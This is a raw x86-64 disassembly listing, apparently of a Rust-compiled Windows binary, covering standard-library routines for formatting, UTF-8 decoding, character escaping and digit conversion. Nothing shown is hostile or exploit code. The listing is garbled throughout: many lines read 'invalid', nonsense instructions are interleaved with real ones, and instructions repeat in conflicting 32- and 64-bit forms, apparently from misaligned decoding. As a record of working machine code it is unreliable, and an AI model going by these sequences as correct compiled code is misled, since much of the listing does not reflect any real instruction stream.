mov rdx, r12
mov r8d, ebp
mov r9, rbx
call fcn.140041df0
mov bl, 1
test al, al
jne 0x140041861
inc rsi
nop word cs:[rax + rax]
dec rsi
je 0x14004199c
mov rcx, r13
mov edx, 0x30
call qword [r12 + 0x20]
test al, al
je 0x1400418e0
jmp 0x140041861
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x140041939
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x140041920
mov bl, 1
jmp 0x140041861
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.140041df0
mov bl, 1
test al, al
jne 0x140041861
mov rcx, r12
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
call qword [r13 + 0x18]
test al, al
jne 0x140041861
mov r14, rsi
neg r14
mov rbx, 0xffffffffffffffff
nop
lea rax, [r14 + rbx]
cmp rax, 0xffffffffffffffff
je 0x1400419ca
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
inc rbx
test al, al
je 0x140041980
jmp 0x1400419cd
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r15
call qword [r12 + 0x18]
test al, al
jne 0x140041861
mov eax, dword [rsp + 0x38]
mov dword [rdi + 0x30], eax
movzx eax, byte [rsp + 0x37]
mov byte [rdi + 0x38], al
xor ebx, ebx
jmp 0x140041861
mov rbx, rsi
cmp rbx, rsi
setb bl
jmp 0x140041861
xor ecx, ecx
lea r11, [r10 + rsi*8]
sub rdx, rsi
mov ebx, esi
and ebx, 3
mov r14, rcx
and r14, r9
and esi, ecx
shr rcx, 8
and rcx, r9
leave
add rcx, r14
imul rcx, r8
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
xor byte [rax + 1], cl
ror dword [rax - 0x7b], 0xdb
jne 0x140041d50
mov rax, rcx
test rdx, rdx
test edx, edx
je 0x140041ddc
mov r10, r11
cmp rdx, 0xc0
mov esi, 0xc0
add byte [rax], al
add byte [rax + 0xf], cl
cmp rsi, 4
cmp esi, 4
jb 0x140041b80
mov r11d, esi
mov ebx, esi
shr r11d, 2
lea r14, [r11 - 1]
and r14, rdi
je 0x140041cdd
invalid
add byte [rcx - 1], cl
invalid
inc r14
mov r15, r14
and r15, 0xfffffffffffffffe
dec byte [rcx + rcx*4 - 5]
dec byte [rcx + rcx*4 - 5]
shl rbx, 5
pxor xmm3, xmm3
mov rcx, r10
mov r12, r15
mov esp, edi
ror dword [rbp - 0x77], 1
cld
mov esp, edi
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movdqu xmm2, xmmword [rcx]
movdqu xmm5, xmmword [rcx + 0x20]
and byte [rsi + 0xf], ah
outsd dx, dword [rsi]
loop 0x140041c84
invalid
insb byte [rdi], dx
in eax, 0x66
movq mm6, mm4
pxor xmm6, xmm0
pxor mm6, mm0
and byte [rsi + 0xf], ah
outsd dx, dword [rsi]
loop 0x140041c84
invalid
pxor mm6, mm0
psrlq xmm6, 7
psrlq xmm4, 6
por xmm4, xmm6
invalid
por mm4, mm6
out 0x66, al
pand mm4, mm1
pand xmm4, xmm1
paddq xmm4, xmm3
movdqu xmm3, xmmword [rcx + 0x10]
pop rcx
adc bl, dh
movq mm6, qword [rcx + 0x30]
invalid
pop rcx
adc bl, dh
movq mm6, qword [rcx + 0x30]
invalid
xor byte [rsi + 0xf], ah
insd dword [rdi], dx
invalid
punpckhqdq xmm2, xmm5
movdqa xmm5, xmm3
punpcklqdq xmm5, xmm6
punpckhqdq xmm3, xmm6
movdqa xmm6, xmm2
pxor xmm6, xmm0
invalid
pxor mm6, mm0
psrlq xmm6, 7
invalid
psrlq xmm2, 6
por xmm2, xmm6
pand xmm2, xmm1
shl dword [rsi + 0xf], 1
outsd dx, dword [rsi]
cmc
shl dword [rsi + 0xf], 1
outsd dx, dword [rsi]
cmc
pxor xmm6, xmm0
psrlq xmm6, 7
invalid
psrlq xmm5, 6
por xmm5, xmm6
pand xmm5, xmm1
paddq xmm5, xmm2
paddq mm5, mm2
invalid
paddq mm5, mm2
paddq xmm5, xmm4
movdqa xmm2, xmm3
movq mm2, mm3
movq mm2, mm3
pxor xmm2, xmm0
psrlq xmm2, 7
psrlq xmm3, 6
por xmm3, xmm2
fisub dword [rsi + 0xf]
fcmovnu st(0), st(1)
fisub dword [rsi + 0xf]
fcmovnu st(0), st(1)
paddq xmm3, xmm5
add rcx, 0x40
add r12, 0xfffffffffffffffe
jne 0x140041c10
fisttp qword [rax - 0x7d]
rol dword [rax + 0x49], 0x83
invalid
pshufd xmm2, xmm3, 0xee
paddq xmm2, xmm3
movq rcx, xmm2
cmp r14, r15
cmp esi, edi
cmp esi, edi
je 0x140041b82
add rbx, r10
jmp 0x140041ce2
xor ecx, ecx
mov rbx, r10
shl r11, 5
add r11, r10
nop dword [rax]
movdqu xmm2, xmmword [rbx]
movdqu xmm3, xmmword [rbx + 0x10]
movdqa xmm4, xmm2
movq mm4, mm2
movq mm4, mm2
pxor xmm4, xmm0
movdqa xmm5, xmm3
movq mm5, mm3
movq mm5, mm3
pxor xmm5, xmm0
psrlq xmm5, 7
psrlq xmm4, 7
psrlq xmm3, 6
por xmm3, xmm5
psrlq xmm2, 6
por xmm2, xmm4
pand xmm3, xmm1
pand xmm2, xmm1
paddq xmm2, xmm3
pshufd xmm3, xmm2, 0xee
paddq xmm3, xmm2
movq r14, xmm3
add rcx, r14
add rbx, 0x20
cmp rbx, r11
jne 0x140041cf0
jmp 0x140041b82
and esi, 0xfc
mov rdx, qword [r10 + rsi*8]
mov rax, rdx
not rax
shr rax, 7
shr rdx, 6
or rdx, rax
movabs rax, 0x101010101010101
and rdx, rax
cmp ebx, 1
je 0x140041dba
mov r11, qword [r10 + rsi*8 + 8]
mov rdi, r11
not rdi
shr rdi, 7
shr r11, 6
or r11, rdi
and r11, rax
add rdx, r11
cmp ebx, 2
je 0x140041dba
mov r10, qword [r10 + rsi*8 + 0x10]
mov r11, r10
not r11
shr r11, 7
shr r10, 6
or r10, r11
and r10, rax
add rdx, r10
and r9, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r9
imul rax, r8
shr rax, 0x30
add rax, rcx
movaps xmm6, xmmword [rsp]
add rsp, 0x18
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov eax, dword [rsi + 0x18]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
invalid
adc byte [r8 - 0x77], cl
ret 0x948
cli
test byte [rsi + 0x4c000000], dl
cmp edx, eax
add dword [rcx - 0x7d], eax
out 0x3f, eax
shl edi, 6
jrcxz 0x140041f22
invalid
cmp edx, 0x110000
adc dword [rax], eax
stosd dword [rdi], eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x72], cl
add al, 0xe9
jno 0x140041f30
invalid
invalid
jnp 0x140041fea
invalid
invalid
loope case.0x14002f3a6.48
outsd dx, dword [rsi]
or eax, 0x6e6ce
pshufw mm3, mm3, 0xd4
mov byte [rsi + 8], al
mov byte [rsi + 9], 1
mov rax, rsi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
pop rax
lea rdx, [rsp + 0x30]
mov rcx, rbx
call rdi
test al, al
je case.0x14001b912.368
mov al, 1
jmp 0x140043fc7
invalid
mov rcx, qword [rsp + 0x50]
and al, 0x50
mov rax, qword [rsp + 0x58]
lea rdx, [0x1400e76f7]
or al, byte ss:[rax]
mov r8d, 2
call qword [rax + 0x18]
jmp 0x140043fc7
invalid
invalid
invalid
int3
int3
int3
push rdi
push rbx
sub rsp, 0x40
mov rsi, r9
mov esi, ecx
mov esi, ecx
mov rdi, r8
mov edi, eax
mov rbx, rcx
mov r14, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
invalid
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], cl
and byte [rax - 0x75], cl
add byte [rax], al
mov rcx, qword [rcx + 0x20]
mov rax, qword [rbx + 0x28]
invalid
and byte [rax - 0x75], cl
sub byte [r9 - 0x48], al
sub byte [rcx - 0x48], al
mov r8d, 8
or byte [rax], al
add byte [rax], al
invalid
add bh, bh
push rax
sbb byte [rax - 0x77], cl
mov qword [rsp + 0x30], rbx
call qword [rax + 0x18]
mov qword [rsp + 0x30], rbx
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
mov byte [rsp + 0x38], al
and al, 0x38
mov qword [rsp + 0x28], 0
add byte [rax], al
mov byte [rsp + 0x39], 0
lea rbx, [rsp + 0x28]
and al, 0x28
and al, 0x39
add byte [rax - 0x73], cl
pop rsp
and al, 0x28
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
mov r8, rsi
mov eax, esi
invalid
call fcn.140043e60
mov rcx, rbx
mov rdx, r14
invalid
mov r8, r15
call fcn.140043e60
invalid
dec dword [rax - 0x75]
and al, 0x28
invalid
dec dword [rax - 0x75]
and al, 0x28
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
and al, 0x38
test rax, rax
je 0x1400441b2
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
test cl, cl
leave
jne case.0x1400261fe.305
mov rsi, qword [rsp + 0x30]
cmp rax, 1
cmp eax, 1
clc
add dword [rbp + 0x29], esi
jne 0x140044196
cmp byte [rsp + 0x39], 0
je 0x140044196
add byte [rdx + riz - 0xa], dh
test byte [rsi + 0x34], 4
xor al, 4
jne 0x140044196
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
lea edx, [0x1400e76f5]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e76f5]
lea edx, [0x1400e76f5]
lea edx, [0x1400e76f5]
insb byte [rdi], dx
xor eax, 0xb841000a
invalid
invalid
add dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne case.0x1400261fe.305
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0xa4bd1
ror dword [rbx + 0xa], 1
invalid
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d76]
ror dword [rbx + 0xa], 1
invalid
ror dword [rbx + 0xa], 1
add byte [rcx - 0x48], al
mov r8d, 1
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x1400261fe.305
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
cmp byte [rcx], 0
je 0x1400441ed
lea rdx, [0x1400e76d1]
or al, byte [rax]
mov r8d, 4
mov rcx, rax
shr ecx, 0x63
fdiv st(7), st(0)
invalid
shr ecx, 0x63
fdiv st(7), st(0)
dec dword [rax - 0x73]
adc eax, 0xa34d8
xor al, 0xa
invalid
lea rdx, [0x1400e76cc]
xor al, 0xa
add byte [rcx - 0x48], al
add eax, 0x48000000
mov ecx, eax
mov r8d, 5
mov rcx, rax
jmp fcn.140041e50
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, r9
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [r9 + 0x20]
mov rcx, r8
mov edx, 0x22
mov r14, rax
call rax
test al, al
je 0x140044254
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdi, rdi
je 0x1400444a9
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
lea rax, [rbx + rdi]
mov qword [rsp + 0x60], rax
xor r13d, r13d
mov rdi, rbx
xor r15d, r15d
mov qword [rsp + 0x58], rbx
jmp 0x140044299
add r13, r15
mov rbx, qword [rsp + 0x58]
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
je 0x1400444e2
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
js 0x1400442b0
lea rdi, [r12 + 1]
jmp 0x140044320
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x140044303
lea rdi, [r12 + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x140044311
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1400444e2
lea rdi, [r12 + 4]
jmp 0x140044320
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x140044320
shl eax, 0xc
loopne 0x140044320
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov r8d, 0x10001
add dword [rax], eax
add dword [rax], eax
call fcn.140044570
cmp byte [rsp + 0x4c], 0x80
invalid
invalid
add al, byte ds:[rax]
add byte [rax - 0x7fb3db84], al
invalid
invalid
or byte [rdi], 0x84
invalid
je 0x140044288
movzx eax, byte [rsp + 0x57]
and al, 0x57
sub al, byte [rsp + 0x56]
cmp al, 1
add dword [rdi], ecx
test byte [rdx], bh
invalid
invalid
invalid
add dword [rdi], ecx
test byte [rdx], bh
invalid
mov r8, r15
sub r8, r13
jb 0x140044531
test r13, r13
test ebp, ebp
in eax, dx
je case.0x140027163.192
cmp r13, qword [rsp + 0x38]
jae 0x140044372
invalid
or al, 0x42
cmp byte [rbx + rbp], 0xc0
sub eax, eax
cmp byte [rbx + r13], 0xc0
sub eax, eax
jge case.0x140027163.192
jmp 0x140044531
jne 0x140044531
test r15, r15
je 0x140044396
cmp r15, qword [rsp + 0x38]
cmp edi, dword [rsp + 0x38]
jae 0x140044390
cmp byte [rbx + r15], 0xbf
cmp byte [rbx + rdi], 0xbf
jg 0x140044396
jmp 0x140044531
jne 0x140044531
add r13, rbx
add ebp, ebx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
call qword [rax + 0x18]
test al, al
jne 0x140044241
xchg edx, eax
invalid
invalid
invalid
xchg edx, eax
invalid
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov rax, qword [rsp + 0x4c]
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x140044430
mov bl, 0x80
jmp 0x1400443f5
invalid
sub al, 0xf
invalid
add byte [rax], al
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x140044241
invalid
invalid
invalid
invalid
invalid
cmp bl, 0x80
je 0x1400443d0
xor byte [rsi + rdx*8 + 0x44], 0xf
mov dh, 0x6c
and al, 0x32
movzx r13d, byte [rsp + 0x32]
movzx ebp, byte [rsp + 0x32]
cmp r13b, byte [rsp + 0x33]
cmp ch, byte [rsp + 0x33]
jae 0x140044470
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
jae 0x14004451b
add al, byte [rcx]
add byte [rax], al
invalid
add al, byte [rcx]
add byte [rax], al
invalid
add byte [rdx + 0xf], al
mov dh, 0x54
sub al, 0x28
movzx edx, byte [rsp + r13 + 0x28]
jmp case.0x1400824b3.122
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
nop dword [rax + rax]
cmp r13, rbx
jae 0x140044470
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
ja 0x14004451b
movzx edx, byte [rsp + r13 + 0x28]
mov rcx, rsi
call r14
inc r13
test al, al
je 0x140044440
jmp 0x140044241
mov r13d, 1
cmp ebp, 0x80
jb 0x140044280
mov r13d, 2
cmp ebp, 0x800
jb 0x140044280
cmp ebp, 0x10000
mov r13d, 4
sbb r13, 0
jmp 0x140044280
xor r13d, r13d
xor r8d, r8d
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x140044241
mov rcx, rsi
mov edx, 0x22
add byte [rax], al
add byte [rax], al
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
test r13, r13
test ebp, ebp
je 0x140044502
mov rdx, qword [rsp + 0x38]
mov rax, rdx
mov eax, edx
mov eax, edx
sub rax, r13
mov r15, qword [rsp + 0x40]
jbe 0x140044511
cmp byte [rbx + r13], 0xbf
jg 0x140044516
jmp 0x140044552
push rax
xor r13d, r13d
mov r8, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x1400444af
jne 0x140044552
mov r13, rdx
mov ebp, edx
mov r8, rax
jmp 0x1400444af
lea r8, str.librarycore_srcescape.rs
push rax
or dword [rax], eax
invalid
add byte [rdx + 0xa], bh
mov edx, 0xa
mov rcx, r13
call fcn.1400a9d70
ud2
jmp 0x1465c8716
lea rax, str.librarycore_src_fmtmod.rs
add eax, 0x94568
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r15
call fcn.1400aa440
ud2
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x77], cl
invalid
mov r8, r13
mov r9, rdx
call fcn.1400aa440
ud2
and byte [rax - 0x77], cl
invalid
add eax, dword [rax]
add byte [rsi + 0x4d], dh
mov edx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x26
imul r10d, edx, 0x3e8
add byte [rax], al
add byte [rax], al
sub eax, r10d
lea r10, [0x1400d8eda]
adc esi, dword [rcx + rcx]
add byte [rcx + rcx*4 + 0x54], cl
and al, 0x30
adc esi, dword [rcx + rcx]
xor al, 9
add byte [rcx + rcx*4 + 0x54], cl
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x38], 3
add eax, dword [rax]
add byte [rax], al
mov rcx, r8
mov ecx, eax
mov r8d, eax
mov eax, eax
mov r9d, 0x64
call fcn.140045b30
nop
add rsp, 0x48
ret
ret 0x8d48
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
and al, 0x28
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x38], 2
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x38], 2
mov rcx, r8
xor r8d, r8d
xor eax, eax
xor eax, eax
mov r9d, 1
add byte [rax], al
add al, ch
call fcn.140045b30
call fcn.140045b30
nop
add rsp, 0x48
ret
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa0
add byte [rax], al
mov eax, r8d
mov r8, rdx
mov rsi, rcx
mov rbx, qword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
add byte [rax], al
mov r14, qword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov rdi, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
movabs rcx, 0x3030303030303030
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov byte [rsp + 0x28], 0x30
mov r10, qword [rsi + 0x10]
test eax, eax
je 0x140045dc9
test r10, r10
mov rcx, qword [rsi + 0x18]
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x140045dd5
xor edx, edx
div r9d
int1
int1
add al, 0x30
mov byte [rsp + 0x20], al
test edx, edx
je 0x140045dfd
mov r15d, r9d
mov r12d, 0xcccccccd
int3
imul r12, r15
shr r12, 0x23
and ecx, dword [rcx - 0x7d]
sti
add dword [rdi], ecx
invalid
add dword [rcx], 0
invalid
int3
and ecx, dword [rcx - 0x7d]
sti
add dword [rdi], ecx
test byte [rbx + 0x41000001], al
cmp ecx, 0xa
cmp r9d, 0xa
jb 0x1400460e7
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x21], al
test edx, edx
je 0x140045e05
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x140045d69
cmp r9d, 0x64
jb 0x1400460e7
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x22], al
test edx, edx
je 0x140045e0d
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x140045d69
cmp r9d, 0x3e8
jb 0x1400460e7
test edx, edx
je 0x140045e2d
imul r12, r15, 0x6b5fca6b
shr r12, 0x36
cmp r11, 7
je 0x140045d66
cmp r9d, 0x989680
jb 0x1400460e7
adc byte [rsi - 0x7df0ff68], 0xad
add eax, dword [rax]
add byte [rcx + 0x66d231d0], cl
div r12d
add byte [rdi], cl
invalid
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x27], al
invalid
test dx, dx
je 0x140045e35
add byte [rax], al
invalid
add byte [rax], al
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp r11, 8
jne 0x140045e3d
movzx edx, dx
mov qword [rsp + 0x30], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x140045e63
lea rax, [r11 - 1]
mov edx, 0x30
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r15, rax
movzx r9d, byte [rsp + rax + 0x20]
add al, 0x20
add al, 0x20
lea r12d, [r9 + 1]
add rax, 0xffffffffffffffff
sar bh, 0x40
setb ch
sar bh, 0x40
setb ch
movzx r12d, r12b
cmp r9b, 0x39
cmovae r12d, edx
mov byte [rsp + r15 + 0x20], r12b
jb 0x140045dbd
test bpl, bpl
jne 0x140045d90
cmp r9b, 0x38
jbe 0x140045e63
jmp 0x140045deb
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x140045e5e
mov qword [rsp + 0x30], 0
lea edx, [r9 + r9*4]
adc al, 0x89
adc al, 0x89
cmp edx, eax
jbe 0x140045deb
xor r11d, r11d
xor ebx, ebx
jmp 0x140045e63
inc r8
jne 0x140045e63
invalid
jae 0x140045e39
mov dword [rsp + 0x38], 0
add byte [rax], al
mov al, 1
jmp 0x140045e73
mov r11d, 1
add dword [rax], eax
add byte [rax], al
jmp 0x140045e5e
mov r11d, 2
jmp 0x140045e5e
mov r11d, 3
jmp 0x140045e5e
mov r11d, 7
jmp 0x140045e5e
mov r11d, 8
add byte [rax], al
jmp 0x140045e5e
cmp r9d, 0x5f5e100
jb 0x1400460e7
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x28], al
mov r11d, 9
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rsp + 0x48], r9
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x60]
invalid
mov qword [rsp + 0x98], rdx
cmp qword [rsi], 0
je 0x140046039
invalid
cmp rbx, 1
jne 0x140045eec
xor r15d, r15d
xor edx, edx
jmp 0x140045f50
invalid
mov rdx, rbx
mov rdx, rbx
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1400b06f0]
movdqa xmm2, xmmword [0x1400b0700]
invalid
add byte [rsi + 0xf], ah
invalid
add byte [rax], r8b
invalid
movzx ebp, word [r14 + r15]
movd xmm3, ebp
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
invalid
fcomi st(2)
pshufw mm3, mm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pshufw mm3, mm3, 0xd4
invalid
pshufw mm3, mm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140045f10
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140045f67
nop
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140045f50
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, 0x14
test al, al
jne 0x140046004
test r8, r8
je 0x140045fff
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x140045fd4
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x140046004
mov edx, 1
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x140046039
movzx eax, byte [rsi + 0x38]
lea rcx, [0x1400ef714]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x14004605f
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140046110
jmp 0x1400460d5
mov r12, r14
xor r14d, r14d
jmp 0x14004605f
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop dword [rax]
dec r12
je 0x140046084
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x140046070
jmp 0x140046095
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140046110
test al, al
je 0x140046099
mov al, 1
jmp 0x1400460d5
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x1400460cc
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
and byte [rax - 1], cl
invalid
test al, al
invalid
je 0x1400460b0
sal byte [rsi + riz*8 - 0x15], 3
jmp 0x1400460cf
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x1400d8430]
lea r8, [0x1400d8ef8]
and ecx, dword [rcx]
add byte [rbp + rcx*4 + 5], cl
add ebp, dword [rsi]
or dword [rax], eax
mov edx, 0x19
sbb dword [rax], eax
add byte [rax], al
call fcn.1400a9e70
ud2
int3
int3
push rdi
push rbx
sub rsp, 0xc8
sub esp, 0xc8
mov r14, rdx
mov rsi, rcx
mov rax, qword [rcx]
cmp qword [rax], 0
cmp dword [rax], 0
cmp dword [rax], 0
cmp byte [rax], al
je 0x140046198
mov rax, qword [rax + 8]
mov qword [rsp + 0x98], rax
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x77], r9b
and al, 0x60
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x77], r9b
and al, 0x60
lea rax, [0x1400514b0]
add eax, 0xb369
imul esi, dword [rbx - 0x76b80000], 0x48682444
lea eax, [rsp + 0x98]
mov qword [rsp + 0x68], rax
and al, 0x68
lea rax, [rsp + 0x98]
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
lea rax, [fcn.1400415d0]
mov qword [rsp + 0x78], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400d8f10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x30], 2
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
and al, 0x40
add al, byte [rax]
add byte [rax], al
and al, 0x40
add al, byte [rax]
add byte [rax], al
jmp 0x1400461de
mov rax, qword [rsi + 8]
mov qword [rsp + 0x60], rax
lea rax, [0x1400514b0]
lea eax, [0x1400514b0]
